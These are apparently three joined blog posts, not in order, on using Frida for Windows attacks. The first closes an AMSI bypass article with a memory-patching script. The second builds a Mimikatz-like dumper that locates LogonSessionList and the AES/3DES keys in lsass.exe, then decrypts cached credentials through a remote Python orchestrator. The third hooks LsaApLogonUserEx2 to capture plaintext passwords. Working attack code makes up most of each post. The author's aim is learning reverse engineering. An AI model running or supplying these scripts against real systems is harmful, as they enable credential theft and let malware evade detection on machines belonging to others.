And here it is, implemented in Frida:

function addressIsPtr(ptr) {
	var range = Process.findRangeByAddress(ptr);
	if (range != null && range.protection.includes("r")) {
		return true;
	}
	return false;
}

function scanForPointers(ptr, size) {
	var output = []
	for (var i = 0; i < size; i += Process.pointerSize) {
		var currentPos = ptr.add(i);
		var currentPtr = currentPos.readPointer();
		if (addressIsPtr(currentPtr)) {
			output.push(currentPtr);
		}
	}
	return output;
}


var clr = Process.getModuleByName("clr.dll");
var ranges = clr.enumerateRanges("rw-");

var pointers = []
for (var r of ranges) {
	console.log("Scanning clr.dll memory range starting @ " + r.base);
	var newPointers = scanForPointers(r.base, r.size);
	pointers.push(...newPointers);
}
console.log("Identified " + pointers.length + " valid pointers.");

for (var p of pointers) {
	var signature = p.readCString(4);
	if (signature === "AMSI") {
		console.log("Found 'AMSI' signature @ " + p.toString());
		p.writeByteArray([0x31, 0x33, 0x33, 0x37]);
		console.log("Replaced with '1337'.")
	}
}

If we run this script against our Powershell process once again, we’ll see that even reflection is now exempt from being stopped by AMSI:

The heap scanning example we used previously would probably work as well - as long as you have some understanding of which module is intrumenting AMSI and where they keep their variables, you have a pretty good shot at bypassing it.

Conclusion

We’ve established that AMSI is more like a speed bump than a roadblock for any attacker who controls the process they’re attacking. On that note, it’s worth pointing out that Frida was not running as a local admin in any of the examples given in this article.

I don’t think that’s a particularly new conclusion to draw, but exploring the process (no pun intended) gave me a really good understanding of all the dials and levers you can tweak to break AMSI in different and interesting ways. Even if the AMSI bypass you get off the shelf works just fine, I think there’s something to be said for understanding the process well enough that you can iterate on it and create your own versions of tools and techniques that don’t appear in any vendor’s signature database.

For me, the main takeaway is that getting really comfortable with reversing and debugging tools is the best way to remain a step ahead of EDR. Having access to cross-platform tools like Frida and Radare2 makes it really easy to inspect and play with running processes, and it makes getting to that level of comfort a whole lot easier. I don’t know if I could have made so much progress so quickly without them (the whole journey took about a week).

In the first chapter of this series, we stuck with Frida’s core functionality - using its Interceptor module to hook and tamper with functions from lsass.exe and retrieve sensitive data passed to them. Our true goal, however, was to replicate the functionality of Mimikatz. To that end, let’s have a look at how Mimikatz finds and decrypts credentials that have been cached in memory.

I found the following blogs very useful when I was trying to figure all this out:

• XPN Infosec Blog - Exploring Mimikatz
• Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD

If you are interested in exploring this subject further or get stuck on your own implementations, I recommend checking them out. And of course, none of this would be possible without the incredible tool that is Mimikatz, and the reverse engineering and development that gentilkiwi continues to do on it.

Needles and Haystacks

Previously, we used Frida’s Interceptor to attach to the LsaApLogonUserEx2() function and intercept credentials as they were passed to it. Having access to debugging functionality makes this an easy thing to do, but Mimikatz doesn’t have that luxury. It needs to directly scan the memory allocated to the Lsass process, and somehow identify exactly where those credentials are stored. Only then can it actually begin parsing and decrypting those structures in memory.

We can look at the Mimikatz source code to figure out exactly how it accomplishes this. The answer is simpler than you may think - a hardcoded set of signatures is used to scan memory for the regions we’re interested in. These signatures are obviously platform-dependent and are liable to change between different versions of Windows, so Mimikatz keeps several of them on-hand. Here is an example from the Mimikatz source:

#elif defined(_M_X64)
BYTE PTRN_WIN5_LogonSessionList[]	= {0x4c, 0x8b, 0xdf, 0x49, 0xc1, 0xe3, 0x04, 0x48, 0x8b, 0xcb, 0x4c, 0x03, 0xd8};
BYTE PTRN_WN60_LogonSessionList[]	= {0x33, 0xff, 0x45, 0x85, 0xc0, 0x41, 0x89, 0x75, 0x00, 0x4c, 0x8b, 0xe3, 0x0f, 0x84};
BYTE PTRN_WN61_LogonSessionList[]	= {0x33, 0xf6, 0x45, 0x89, 0x2f, 0x4c, 0x8b, 0xf3, 0x85, 0xff, 0x0f, 0x84};
BYTE PTRN_WN63_LogonSessionList[]	= {0x8b, 0xde, 0x48, 0x8d, 0x0c, 0x5b, 0x48, 0xc1, 0xe1, 0x05, 0x48, 0x8d, 0x05};
BYTE PTRN_WN6x_LogonSessionList[]	= {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};
BYTE PTRN_WN1703_LogonSessionList[]	= {0x33, 0xff, 0x45, 0x89, 0x37, 0x48, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN1803_LogonSessionList[] = {0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc9, 0x74};
BYTE PTRN_WN11_LogonSessionList[]	= {0x45, 0x89, 0x34, 0x24, 0x4c, 0x8b, 0xff, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74};

We can use these precompiled signatures in our own code, although we could also deduce them ourselves with a little reverse engineering and a debugger such as IDA or WinDBG. We’ll cover exactly how these signatures were found in more detail later. For now, all we need is a way to scan memory for a specific sequence of bytes, which happily Frida provides for us:

var lsasrv = Process.getModuleByName("lsasrv.dll")
var sequence = "33 ff 41 89 37 4c 8b f3 45 85 c9 74"; 

Memory.scan(lsasrv.base, lsasrv.size, sequence, {
	onMatch(signature, size) {
		console.log("Found a match at " + signature);
	}
});

With that, we have a way to scan the memory space of lsasrv.dll for those specific sequences. Mimikatz uses these signatures to deduce the address of specific global variables in lsasrv that contain sensitive data, and that’s what we’re going to need to do as well.

Finding LogonSessionList

The first global variable we’re interested in is lsasrv!LogonSessionList. As the name implies, this is a linked list where every element represents a single credential cached in memory. The way Mimikatz hunts for it in memory is clever; instead of trying to find the variable itself, it searches for an instruction in lsasrv.dll which dereferences the variable’s memory address. This instruction will look something like this:

lea rcx, [rip + 0x118061] ; LogonSessionList

Note that the address given in the instruction above is not an absolute address, but a %rip-relative offset (0x118061) which is calculated at runtime. We’re scanning memory at runtime, though, so as long as we can find the offset, we can perform some simple pointer arithmetic to find the actual address of the variable.

This is where the signature comes in. The signatures used by Mimikatz were presumably originally generated by reverse engineering. To reproduce that, we could simply attach a debugger to lsass.exe, find instructions that dereference the variables we’re interested in, and find some sequence of bytes nearby to serve as your “signature”. For now, though, the signatures included in the Mimikatz source code are enough for us to proceed.

When we identify this signature in memory at a given address, we can add a certain offset to it and get to the instruction in question. The exact process looks like this:

1. Find the address where the signature appears.
2. Add some predetermined offset to get to the LEA instruction which dereferences LogonSessionList.
3. Read the %rip offset from the latter part of the instruction.
4. Figure out what %rip will be just after our target instruction, then add the offset to get the true address of LogonSessionList.

By following these four steps, it’s possible to write a function in Frida which, when provided with a pointer and an offset, will find the dereferenced address:

function findDereferencedAddress(ptr, offset) {
	// Given a pointer to some signature address and an offset, extract the target address from an instruction that dereferences it. 
	// This is used to identify the location of global variables in lsass memory by finding instructions that dereference them. 
	
	// Calculate the offset to the target instruction.
	var targetAddress = ptr.add(offset);
	var targetInstruction = Instruction.parse(targetAddress);
	
	// Target instruction should look something like this
	// <signature> + <offset>: lea rcx, [rip + 0x118061]
	// We need to extract the %rip offset and resolve it into an actual address.
	
	// Sanity check for the lea instruction
	if (targetInstruction.toString().includes("lea ")) {
		//Frida parses the instruction for us and separates out operands - no janky offset math required :)
		var operand = targetInstruction.operands[1];
		//Sanity check to make sure it's a RIP-relative offset, not some other register.
		if (operand["value"]["base"] !== "rip") {
			return null;
		}
		//Get the offset.
		var ripOffsetInt = operand["value"]["disp"];
		var ripOffset = new NativePointer(ripOffsetInt);
		// Finally, we need to convert the offset into an actual address.
		// To do this, find what RIP will be just after our target instruction, then add the offset.
		var rip = targetInstruction.next;
		var target = rip.add(ripOffset);
		return target;
	}
}

Using this function, we can update our memory scanner from before to find the LogonSessionList variable:

var lsasrv = Process.getModuleByName("lsasrv.dll")
var sequence = "33 ff 41 89 37 4c 8b f3 45 85 c9 74"; //offset is 0x14

Memory.scan(lsasrv.base, lsasrv.size, sequence, {
	onMatch(signature, size) {
		var logonSessionList = findDereferencedAddress(signature, 0x14);
		console.log("LogonSessionList is at " + logonSessionList);
	}
});

Testing this against our 64-bit Windows 10 VM, we can see that we’re able to successfully identify the address of LogonSessionList:

Parsing LogonSessionList

Now we’re getting underway - with no hooking or symbol enumeration required, we’ve got a pointer to the LogonSessionList variable. But before we can convert this into actionable credential material, we need to parse it. Once again, the Mimikatz source code comes to our rescue here - these are undocumented structures, but gentilkiwi’s code includes implementations for many of them. For this specific case - Windows 10 on x64 - we will want to use _KIWI_MSV1_0_LIST_63:

typedef struct _KIWI_MSV1_0_LIST_63 {
	struct _KIWI_MSV1_0_LIST_63 *Flink;	//off_2C5718
	struct _KIWI_MSV1_0_LIST_63 *Blink; //off_277380
	PVOID unk0; // unk_2C0AC8
	ULONG unk1; // 0FFFFFFFFh
	PVOID unk2; // 0
	ULONG unk3; // 0
	ULONG unk4; // 0
	ULONG unk5; // 0A0007D0h
	HANDLE hSemaphore6; // 0F9Ch
	PVOID unk7; // 0
	HANDLE hSemaphore8; // 0FB8h
	PVOID unk9; // 0
	PVOID unk10; // 0
	ULONG unk11; // 0
	ULONG unk12; // 0 
	PVOID unk13; // unk_2C0A28
	LUID LocallyUniqueIdentifier;
	LUID SecondaryLocallyUniqueIdentifier;
	BYTE waza[12]; /// to do (maybe align)
	LSA_UNICODE_STRING UserName;
	LSA_UNICODE_STRING Domaine;
	PVOID unk14;
	PVOID unk15;
	LSA_UNICODE_STRING Type;
	PSID  pSid;
	ULONG LogonType;
	PVOID unk18;
	ULONG Session;
	LARGE_INTEGER LogonTime; // autoalign x86
	LSA_UNICODE_STRING LogonServer;
	PKIWI_MSV1_0_CREDENTIALS Credentials;
	PVOID unk19;
	PVOID unk20;
	PVOID unk21;
	ULONG unk22;
	ULONG unk23;
	ULONG unk24;
	ULONG unk25;
	ULONG unk26;
	PVOID unk27;
	PVOID unk28;
	PVOID unk29;
	PVOID CredentialManager;
} KIWI_MSV1_0_LIST_63, *PKIWI_MSV1_0_LIST_63;

That’s an intimidating struct! Don’t worry, we won’t need all of it. This struct represents a single cached credential in the linked list. We want all of the credentials, so the first order of business is to enumerate the address of every other element in the list. The Flink variable, a pointer to the next element in the list, is the very first member, so this is an easy job:

function getLogonSessions(ptr, max) {
	// Given a pointer to lsasrv!LogonSessionList, enumerate the address of all logon sessions that it contains.
	// LogonSessionList is a simple linked list, so the first element of each entry is a pointer to the next one.
	var sessions = [];
	var current = ptr;
	
	for (var i = 0; i < max; i++) {
		sessions.push(current.toString());
		current = current.readPointer();
		if (sessions.includes( current.toString() )) {
			i = max
		}
	}
	
	return sessions;
}

This will allow us to turn our pointer to LogonSessionList into an array of pointers, each pointing to a specific session. Now we need to parse the actual data out of them. This may seem daunting, but we only actually care about a few bits of information: the UserName, DomainName and Credentials variables.

The UserName and DomainName are simple. They are both of type UNICODE_STRING, and we dealt with those in part 1. It’s trivial to write a simple parser to extract each value:

function getUsernameFromLogonSession(ptr) {
	// Given a pointer to a LogonSession, extract the username (a UNICODE_STRING).
	var usernamePtr = ptr.add(0x90);
	var len = usernamePtr.readUShort();
	var usernameBuffer = usernamePtr.add(0x8).readPointer();
	var username = usernameBuffer.readUtf16String(len);
	return username;
	
}

function getDomainFromLogonSession(ptr) {
	// Given a pointer to a LogonSession, extract the domain (a UNICODE_STRING).
	var domainPtr = ptr.add(0xa0);
	var len = domainPtr.readUShort();
	var domainBuffer = domainPtr.add(0x8).readPointer();
	var domain = domainBuffer.readUtf16String(len);
	return domain;
}

The final member, Credentials, is a bit more complex. It’s a pointer to a struct that Mimikatz calls _KIWI_MSV1_0_CREDENTIALS. This, in turn, contains a pointer to the actual “primary credentials” object at offset 0x10 (_KIWI_MSV1_0_PRIMARY_CREDENTIALS). Within that object, we can find the actual credentials blob at offset 0x18.

function getPrimaryCredentialsFromLogonSession(ptr) {
	// Given a pointer to a LogonSession, extract the encrypted credentials blob.
	var credentialsPtr = ptr.add(0x108).readPointer();
	
	// The credentials pointer can be null, in which case we should abort.
	if (credentialsPtr.toString() == "0x0") {
		return null;
	}
	
	// The credentials pointer points to a struct that gentilkiwi calls _KIWI_MSV1_0_CREDENTIALS.
	// This struct, in turn, contains a pointer to the actual "primary credentials" object at offset 0x10.
	var primaryCredentialsPtr = credentialsPtr.add(0x10).readPointer();
	
	// Within the "primary credentials" object (AKA _KIWI_MSV1_0_PRIMARY_CREDENTIALS), the actual encrypted blob is located at offset 0x18.
	var cryptoblobPtr = primaryCredentialsPtr.add(0x18);
	// It's a UNICODE_STRING so we need to parse it to find the correct size and read the cryptoblob.
	var cryptoblobLen = cryptoblobPtr.readUShort();
	var cryptoblobBuffer = cryptoblobPtr.add(0x8).readPointer();
	var cryptoblob = cryptoblobBuffer.readByteArray(cryptoblobLen);
	return cryptoblob;
}

Now we have the username, domain name, and credential material. We’re not done yet, though. As you might have guessed from the code block above, the credential material is encrypted and is useless to us in its current format. If we want to make use of it, we’re going to need to go hunting for decryption keys.

Keys to the Kingdom

In order to be sure we can decrypt whatever credentials we have obtained from lsasrv!LogonSessionList, we will need to extract three more variables from process memory: these are lsasrv!hAesKey, lsasrv!h3DesKey and the associated Initialization Vector (IV) for the AES key. Each of these values is regenerated every time lsass.exe is started, so we’ll need to extract them every time we want to dump credentials.

The process for obtaining these variables is exactly the same as for LogonSessionList, We need to use some predetermined signature and offset to find an instruction that dereferences them. We can reuse our function from before to do this:

var lsasrv = Process.getModuleByName("lsasrv.dll")
var sequence = "83 64 24 30 00 48 8d 45 e0 44 8b 4d d8 48 8d 15"; 

// LsaInitializeProtectedMemory Signature + 0xD = lsasrv!hAesKey
// LsaInitializeProtectedMemory Signature - 0x5C = lsasrv!h3DesKey
// LsaInitializeProtectedMemory Signature + 0x40 = IV for AES Key

Memory.scan(lsasrv.base, lsasrv.size, sequence, {
	onMatch(signature, size) {
		var aesKey = findDereferencedAddress(signature, 0xD);
		var tripleDesKey = findDereferencedAddress(signature, -0x5C);
		var aesIV = findDereferencedAddress(signature, 0x40);
	}
});

Parsing the actual keys is very simple, thankfully. The AES and 3DES keys are parsed in the exact same way, and the IV literally just needs to be read from a pointer:

function getKey(ptr) {
	// Given a pointer to the lsasrv!hAesKey or lsasrv!h3DesKey variable, extract the actual AES/3DES key.
	// Returns a ByteArray containing the key.
	
	// First, resolve the pointer to get the BCRYPT_HANDLE_KEY struct it references.
	var bcryptHandleKey = ptr.readPointer();
	// Next, locate the pointer to BCRYPT_KEY located at offset 0x10.
	var bcryptKey = bcryptHandleKey.add(0x10).readPointer();
	// Within BCRYPT_KEY, the HARD_KEY field is located at 0x38.
	var hardKey = bcryptKey.add(0x38);
	// The first entry in HARD_KEY is a ULONG containing the key length.
	var len = hardKey.readULong();
	// The second entry (at offset 0x4) is the actual key.
	var keyBuffer = hardKey.add(0x4);
	var key = keyBuffer.readByteArray(len);
	return key;
}

function getAesIV(ptr) {
	// Given a pointer to the AES IV variable, extract the actual AES key.
	// Returns a ByteArray containing the IV.
	return ptr.readByteArray(16);
}

Finally, we have everything we need - the user details, their encrypted credentials, and all of the decryption keys and associated IVs required to translate them into plaintext.

Beyond JavaScript

At this point, we are finished with our Frida script (which you can find here). When we inject it into lsass.exe, it returns something that looks a bit like this:

I think we can all agree that this is a little underwhelming. Sure, all the raw data is there - and we could manually grab those cryptoblobs and decryption keys and perform the decryption itself, of course. But we’d generally prefer all that stuff to be done for us - what we want is decrypted credentials scrolling across our screen. Implementing that decryption logic in Frida’s JavaScript engine would be no fun at all, though; doing it in Python is much preferable.

For this, we can use Frida’s Python bindings. The way it works is simple: instead of injecting our Frida script into a process using the Frida CLI tool, we inject it using the frida Python library. The injected script is able to communicate back to the Python orchestrator with the send() function, which allows us to receive output such as credentials and decryption keys. We can then process it in Python instead of being stuck with JavaScript.

There are a few parts of our Python script that are especially important. Here is the part where we actually attach the script to lsass.exe:

fd = open("MimiScan.js", "r")
inject_script = fd.read()
fd.close()

target = sys.argv[1] + ":27042"
device = frida.get_device_manager().add_remote_device(target)

session = device.attach("lsass.exe")
script = session.create_script(inject_script)

Once we have attached, we need to create a hook that will receive and process messages sent to it by the injected script:

def on_message(message, data):
	if "payload" not in message:
		return
	payload = message["payload"]
	if payload["type"] == "credentials":
		credential = {}
		credential["domain"] = payload["domain"]
		credential["username"] = payload["username"]
		credential["crypto"] = data
		credentials.append(credential)
	if payload["type"] == "aeskey":
		keys["aes"] = data
	if payload["type"] == "aes_iv":
		keys["aes_iv"] = data
	if payload["type"] == "3deskey":
		keys["3des"] = data

script.on('message', on_message)
script.load()

Once you have the actual data, it’s just a matter of performing the decryption and parsing out the important bits (the NTLM hash) from the resulting plaintext. This takes a little work, but it’s nothing too complicated. Here’s how the completed Python script looks in action:

And with that, we’ve created a basic Mimikatz-alike written almost entirely in Frida! You can find the full script, and all of the code associated with this project, here.

Conclusion

My original aim was to illustrate that you can emulate the functionality of Mimikatz entirely within Frida’s engine, and I think I’ve done that. Some of the more heavy-duty tasks, like 3DES decryption, are just not feasible to implement in JavaScript - but Frida’s Python bindings are able to step up and fill the gaps when that’s the case.

There’s still a lot of work you can do from here. The implementation I’ve demonstrated in this blog is brittle. Unlike Mimikatz, it only targets a specific version and architecture of Windows. You could definitely expand it to make it more robust, selecting different signatures and offsets based on the version of Windows it is executed on. You could also use this project as a springboard to create your own implementation in C, Go, .NET, and so on - the basic logic remains the same, all that changes are implementation details.

You may recall that my original reason for doing all this was some advice I had: that writing your own Mimikatz implementation will help you learn about process manipulation and working with low-level memory in Windows. This definitely held true for me, at least for this kind of reverse engineering. When it comes to interpreting and parsing a complex assembly of structs and pointers in memory, I think hands-on practice is probably the best way to get comfortable.

Overall, this was an extremely satisfying project to work out and I recommend something like this to anyone who’s looking for an excuse to get their hands dirty with a little reverse engineering and memory manipulation!

Recently I’ve been getting into Frida, a great debugging and dynamic instrumentation tool with cross-platform support. Before I looked into it, I’d only ever heard of Frida as a tool for hacking mobile apps - I’d never considered it for anything else. However, I think Frida has just as much potential as a rapid prototyping tool for reverse engineering and exploit development. It’s agile, portable and fast, which makes it an excellent choice for experimenting and tinkering with a process.

I’ve had advice in the past that writing your own Mimikatz implementation is one of the best ways to get familiar working with memory hacking in Windows. A credential dumper that requires you to execute and connect to a Frida server on the target probably wouldn’t be your first choice on an engagement. However, it’s also not something I’ve seen anyone else doing, and I hoped that the end result would be a kind of “intermediary” tool that could be trivially ported to other languages.

In this first part, we’ll focus on taking advantage of Frida’s dynamic instrumentation features to backdoor Lsass remotely. In future articles, we’ll explore dumping credentials directly from Lsass memory.

Step 1: Exploring Lsass

You can find a wealth of tools and tutorials out there which discuss how Mimikatz works and how to dump credentials from the process memory of Lsass. I wanted to make a start completely blind, though, and see what I could discover with Frida alone.

To start with, I spun up a Windows 10 VM and launched the latest version of Frida server as Administrator:

> .\frida-server.exe -l 0.0.0.0

This opens a debugging server on port 27042, which we can connect to using Frida:

$ frida -H 192.168.1.120 lsass.exe

One of Frida’s most powerful features is its dynamic instrumentation functionality, which lets us hook almost any function used by a process. Before we can do that, though, we’ll need some basic situational awareness. There are a lot of different modules loaded by the lsass.exe process, which we can enumerate using Process.enumerateModules(). Here’s just one of the results:

    {
        "base": "0x7ffd1ca30000",
        "name": "msv1_0.DLL",
        "path": "C:\\Windows\\system32\\msv1_0.DLL",
        "size": 483328
    },

Out of the many possible options, this one stands out - it’s the Microsoft Authentication Package, which is invoked by LSA when a user performs an interactive logon. According to Microsoft’s documentation:

The MSV1_0 package checks the local security accounts manager (SAM) database to determine whether the logon data belongs to a valid security principal and then returns the result of the logon attempt to the LSA.

If we’re looking to hook into the authentication logic called by Lsass, this seems like a pretty good place to start.

Step 2: Hooking MSV1_0

So, now we have a good idea of which module we want to target, but how do we know which functions to hook in order to extract credentials? This is where frida-trace comes to the rescue. Instead of writing dozens of boilerplate scripts to inject into each possible function, we can simply specify the module we’re interested in and hook all functions within it:

frida-trace -H 192.168.1.120 lsass.exe -i 'msv1_0.DLL!*'

We leave this running while we invoke an interactive logon somewhere on the target VM (i.e. using the runas command), and sure enough:

I decided to go with the obvious choice here, and target the LsaApLogonUserEx2() function. Luckily for us, this function is actually documented in the MSDN. That will make hooking it a lot easier, as we know exactly what the arguments and expected return values are.

LSA_AP_LOGON_USER_EX2 LsaApLogonUserEx2;

NTSTATUS LsaApLogonUserEx2(
  [in]  PLSA_CLIENT_REQUEST ClientRequest,
  [in]  SECURITY_LOGON_TYPE LogonType,
  [in]  PVOID ProtocolSubmitBuffer,
  [in]  PVOID ClientBufferBase,
  [in]  ULONG SubmitBufferSize,
  [out] PVOID *ProfileBuffer,
  [out] PULONG ProfileBufferSize,
  [out] PLUID LogonId,
  [out] PNTSTATUS SubStatus,
  [out] PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
  [out] PVOID *TokenInformation,
  [out] PUNICODE_STRING *AccountName,
  [out] PUNICODE_STRING *AuthenticatingAuthority,
  [out] PUNICODE_STRING *MachineName,
  [out] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [out] PSECPKG_SUPPLEMENTAL_CRED_ARRAY *SupplementalCredentials
)

Armed with this information, we can see that the thing we probably care about is the PrimaryCredentials variable, which is the 15th argument passed to the function. Now we know enough to write our own Frida script:

var msv = Process.getModuleByName("msv1_0.DLL");
var logonUser = msv.getExportByName("LsaApLogonUserEx2");

Interceptor.attach(logonUser, {
	onEnter: function(args) {
		this.primaryCredentials = args[14];
	},
	onLeave: function(retval) {
		console.log("Address of primary credentials is " + this.primaryCredentials);
	}
});

So far, the script is pretty simple. We identify the address of the function and attach to it with Frida’s Interceptor. When the function is entered, we save the address of the PrimaryCredentials array. When the function exits, we print the address. To test it out, simply inject the script into Frida:

$ frida -H 192.168.1.120 lsass.exe -l LsaApLogonUserEx2.js

And invoke another interactive logon.

Step 3: Parsing PrimaryCredentials

So, now we can hook the LsaApLogonUserEx2() function and get a pointer to the PrimaryCredentials structure. How do we turn that into actual credential information? The PrimaryCredentials structure is of type PSECPKG_PRIMARY_CRED, which means it’s a pointer to a SECPKG_PRIMARY_CRED struct. Happily for us, that struct is documented for us as well:

typedef struct _SECPKG_PRIMARY_CRED {
  LUID           LogonId;
  UNICODE_STRING DownlevelName;
  UNICODE_STRING DomainName;
  UNICODE_STRING Password;
  UNICODE_STRING OldPassword;
  PSID           UserSid;
  ULONG          Flags;
  UNICODE_STRING DnsDomainName;
  UNICODE_STRING Upn;
  UNICODE_STRING LogonServer;
  UNICODE_STRING Spare1;
  UNICODE_STRING Spare2;
  UNICODE_STRING Spare3;
  UNICODE_STRING Spare4;
} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;

This gives us all the information we need to write our own parser in Frida. We can “walk” through the struct by starting from our pointer and adding the size of each struct member to get to the next one. For example, the size of a LUID struct is 0x8, so we can do:

var logonId = this.primaryCredentials;
var downLevelName = logonId.add(0x8);

By iterating through in this way, we can eventually get pointers to the members we actually care about: DownLevelName, DomainName, Password and OldPassword. Each of these elements is a UNICODE_STRING struct, which requires a bit of parsing themselves. The final parsing function is as follows:

function parsePrimaryCredentials(ptr) {
	// Parse the SECPKG_PRIMARY_CRED structure pass to LsaApLogonUserEx2. 64-bit only.
	// Input: a pointer to the SECPKG_PRIMARY_CRED structure to be parsed.
	
	var size_luid = 0x8; // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/igpupvdev/ns-igpupvdev-_luid
	var size_unicode_string = 0x10; // https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/shared/ntdef/unicode_string.htm
	
	// Reference for struct members:
	// https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/ns-ntsecpkg-secpkg_primary_cred

	// Calculate the address of each member by adding the sizeof the previous member.
	var logonId = ptr;
	var downLevelName = logonId.add ( size_luid );
	var domainName = downLevelName.add( size_unicode_string );
	var password = domainName.add( size_unicode_string );
	var oldPassword = password.add( size_unicode_string );

	// Read the length from each unicode string. Divide by 2 because we are reading UTF 16 strings.
	// Length is located at offset 0x0 in the UNICODE_STRING struct.
	var downLevelNameLength = downLevelName.readUShort() / 2;
	var domainNameLength = domainName.readUShort() / 2;
	var passwordLength = password.readUShort() / 2;
	var oldPasswordLength = oldPassword.readUShort() / 2;

	// Use the length values to read the correct number of bytes from each unicode string.
	// Buffer is located at offset 0x8 in the UNICODE_STRING struct.
	var downLevelNameBuffer = downLevelName.add(0x8).readPointer().readUtf16String(downLevelNameLength);
	var domainNameBuffer = domainName.add(0x8).readPointer().readUtf16String(domainNameLength);
	var passwordBuffer = password.add(0x8).readPointer().readUtf16String(passwordLength);
	var oldPasswordBuffer = oldPassword.add(0x8).readPointer().readUtf16String(oldPasswordLength);

	//Return results.
	var output = {
		"sam_account": downLevelNameBuffer,
		"domain": domainNameBuffer,
		"password": passwordBuffer,
		"old_password": oldPasswordBuffer
	}
	return output;
}

And the final result when running it against my Windows 10 VM and initiating an interactive logon:

Conclusion

Hooking functions and changing their behaviour is Frida’s bread and butter, and we’ve demonstrated just how easy it is to backdoor Lsass with Frida. All you need to do so is a little bit of Javascript, a little bit of C struct knowledge, and local admin. In the next part, we’ll move away from hooking functions. Instead, we’ll look into replicating Mimikatz functionality by extracting credentials directly from memory.